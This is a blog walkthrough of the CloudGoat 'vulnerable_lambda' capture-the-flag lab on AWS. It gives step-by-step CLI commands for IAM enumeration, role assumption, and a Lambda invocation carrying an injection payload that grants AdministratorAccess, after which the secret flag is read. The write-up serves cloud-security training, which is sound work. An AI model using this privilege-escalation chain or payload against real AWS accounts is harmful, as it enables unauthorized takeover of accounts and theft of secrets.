CloudGoat: Vulnerable Lambda
CloudGoat is a cybersecurity lab which created by Rhino Security Labs, allows you to learn about cloud cybersecurity by completing CTF scenarios. Learn more about CloudGoat.
In this blog, I will break down each steps on the vulnerable_lambda
scenario.
Vulnerable Lambda Scenario
In this scenario, we will play as a user name bilbo
, try to exploit the compromised IAM role, and get the secret!
Create bilbo profile
When we created the scenario with command ./cloudgoat.py create vulnerable_lambda
, it will give us AccessKeyId
and SecretAccessKey
for the bilbo
user
After that, we can create a profile for this scenario with bilbo
name or the name that you want. In this blog, we will stick with bilbo
.
Create profile
aws configure --profile <profile-name-that-you-want>
And then it will ask for AccessKeyId
, SecretAccessKey
, region and format.
Done.
Additionally, I left with one command
aws configure --profile <profile-name> set aws_session_token <session-token>
We need this command for some steps in this scenario.
Get permissions of the bilbo
user
Get the bilbo
user’s permissions
aws --profile bilbo --region us-east-1 sts get-caller-identity
Result:
{
"UserId": "###",
"Account": "###",
"Arn": "arn:aws:iam::###:user/cg-bilbo-vulnerable_lambda_###"
}
cg-bilbo-vulnerable_lambda_###
is the username of bilbo
user
Note: You will get the different value on ###
Get all attached policies of bilbo
user
aws --profile bilbo --region us-east-1 iam list-user-policies --user-name <bilbo-user-name>
Result:
{
"PolicyNames": [
"cg-bilbo-vulnerable_lambda_###-standard-user-assumer"
]
}
Now, we got all policy names that are attached to bilbo
user. In this case we have a policy name cg-bilbo-vulnerable_lambda_###-standard-user-assumer
See the permission that this policy have
aws --profile bilbo --region us-east-1 iam get-user-policy --user-name <bilbo-user-name> --policy-name <policy-name>
Result:
{
"UserName": "cg-bilbo-vulnerable_lambda_###",
"PolicyName": "cg-bilbo-vulnerable_lambda_###-standard-user-assumer",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Resource": "arn:aws:iam::###:role/cg-lambda-invoker*",
"Sid": ""
},
{
"Action": [
"iam:Get*",
"iam:List*",
"iam:SimulateCustomPolicy",
"iam:SimulatePrincipalPolicy"
],
"Effect": "Allow",
"Resource": "*",
"Sid": ""
}
]
}
}
With this policy, the bilbo
user has role cg-lambda-invoker*
and the permission to get and list everything in IAM, and able to use the IAM policy simulator.
Time to think
Now we know that the bilbo
user have one role cg-lambda-invoker*
, so we will explore more about this role.
List all roles
aws --profile bilbo --region us-east-1 iam list-roles | grep cg-
The command above will list all the roles in the account, but we are only interested in the role that relates to bilbo
user, so we pipe with command grep cg-
to find our target role cg-lambda-invoker*
.
Result:
"RoleName": "cg-lambda-invoker-vulnerable_lambda_###",
"Arn": "arn:aws:iam::###:role/cg-lambda-invoker-vulnerable_lambda_###",
"AWS": "arn:aws:iam::###:user/cg-bilbo-vulnerable_lambda_###"
Now, we got the target role name cg-lambda-invoker-vulnerable_lambda_###
with arn arn:aws:iam::###:role/cg-lambda-invoker-vulnerable_lambda_###
We will see the attached policy with
aws --profile bilbo --region us-east-1 iam list-role-policies --role-name <cg-target-role>
Result:
{
"PolicyNames": [
"lambda-invoker"
]
}
We got the policy name lambda-invoker
which is attached to the target role cg-lambda-invoker-vulnerable_lambda_###
See the permission of this policy
aws --profile bilbo --region us-east-1 iam get-role-policy --role-name <role-name> --policy-name <policy-name>
Result:
{
"RoleName": "cg-lambda-invoker-###",
"PolicyName": "lambda-invoker",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"lambda:ListFunctionEventInvokeConfigs",
"lambda:InvokeFunction",
"lambda:ListTags",
"lambda:GetFunction",
"lambda:GetPolicy"
],
"Effect": "Allow",
"Resource": "arn:aws:lambda:us-east-1:###:function:###-policy_applier_lambda1"
},
{
"Action": [
"lambda:ListFunctions",
"iam:Get*",
"iam:List*",
"iam:SimulateCustomPolicy",
"iam:SimulatePrincipalPolicy"
],
"Effect": "Allow",
"Resource": "*"
}
]
}
}
The role cg-lambda-invoker-###
can list all lambda functions (lambda:ListFunctions
) in the account, and get function (lambda:GetFunction
) which has arn arn:aws:lambda:us-east-1:###:function:###-policy_applier_lambda1
Time to think
Now, we know the bilbo
user have a role cg-lambda-invoker-###
. With this role, we can list all lambdas functions in the account, and able to get the ###-policy_applier_lambda1
function, which means get the source code of this function.
The exploitation starts here.
We cannot get function with the bilbo
user directly because the bilbo
user does not have permission to do that, but the bilbo
user have a role cg-lambda-invoker-###
. So we will get credential of this role and take a privilege that this role have to get the source code.
Get the credential from this role
aws --profile bilbo --region us-east-1 sts assume-role --role-arn <role-arn> --role-session-name <whatever-session-name-you-want>
You will get the AccessKeyId
, SecretAccessKey
, and SessionToken
{
"Credentials": {
"AccessKeyId": "###",
"SecretAccessKey": "###",
"SessionToken": "###",
"Expiration": "2024-03-07T09:44:04+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "###:lambda-session",
"Arn": "arn:aws:sts::###:assumed-role/cg-lambda-invoker-vulnerable_lambda_###/lambda-session"
}
}
Now, we will create new profile for this assumed role.
See the profile creating above, and do not forget to set the session token in the profile.
List lambdas to identify the target lambda
Now, we got assumed role profile.
To confirm that we have the function that we want in this account, we can use our new assumed role profile to list all lambda functions with
aws --profile <assumed-role-profile> --region us-east-1 lambda list-functions
Result:
{
"Functions": [
{
"FunctionName": "vulnerable_lambda_###-policy_applier_lambda1",
"FunctionArn": "arn:aws:lambda:us-east-1:291364365093:function:vulnerable_lambda_###-policy_applier_lambda1"
}
]
}
We got the function name vulnerable_lambda_###-policy_applier_lambda1
which had arn arn:aws:lambda:us-east-1:291364365093:function:vulnerable_lambda_###-policy_applier_lambda1
Look at the target lambda source code
Get our target lambda source code, you need to run
aws --profile assumed_role --region us-east-1 lambda get-function --function-name <function-name-or-function-arn>
Result:
{
"Configuration": {
"FunctionName": "vulnerable_lambda_###-policy_applier_lambda1",
"FunctionArn": "arn:aws:lambda:us-east-1:###:function:vulnerable_lambda_###-policy_applier_lambda1"
},
"Code": {
"RepositoryType": "S3",
"Location": "s3 link to download source code"
}
}
We will get link to download source code on the Location
key.
Time to think
From the function code, we know that this function can attach any policies to any user in the account, so we will use this compromised code to attach the administator policy to bilbo
user which allows to do whatever we want in the account.
Invoke administrator policy to bilbo
user
Invoke the lambda to attached administrator access policy to bilbo
, you need to run
aws --profile assumed_ld_invoker --region us-east-1 lambda invoke --function-name <function-name> --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess'"'"' --"], "user_name": "<bilbo-user-name>"}' <file-name-you-want>.txt
See the output,
cat <file-name-you-want>.txt
Confirm that bilbo
user got the AdministratorAccess
policy,
aws --profile bilbo --region us-east-1 iam list-attached-user-policies --user-name <bilbo-user-name>
Result:
{
"AttachedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
}
]
}
Get secret!
List all the secrets the account have
aws --profile bilbo --region us-east-1 secretsmanager list-secrets
Result:
{
"SecretList": [
{
"Name": "vulnerable_lambda_###-final_flag",
}
]
}
We found a secret name vulnerable_lambda_###-final_flag
Get the secret value
aws --profile bilbo --region us-east-1 secretsmanager get-secret-value --secret-id <secret-name>
Result:
{
"SecretString": "cg-secret-XXXXXX-XXXXXX"
}
Finally, we made it!
Warning: Do not forget to delete scenario with ./cloudgoat.py destroy vulnerable_lambda
, when you are done.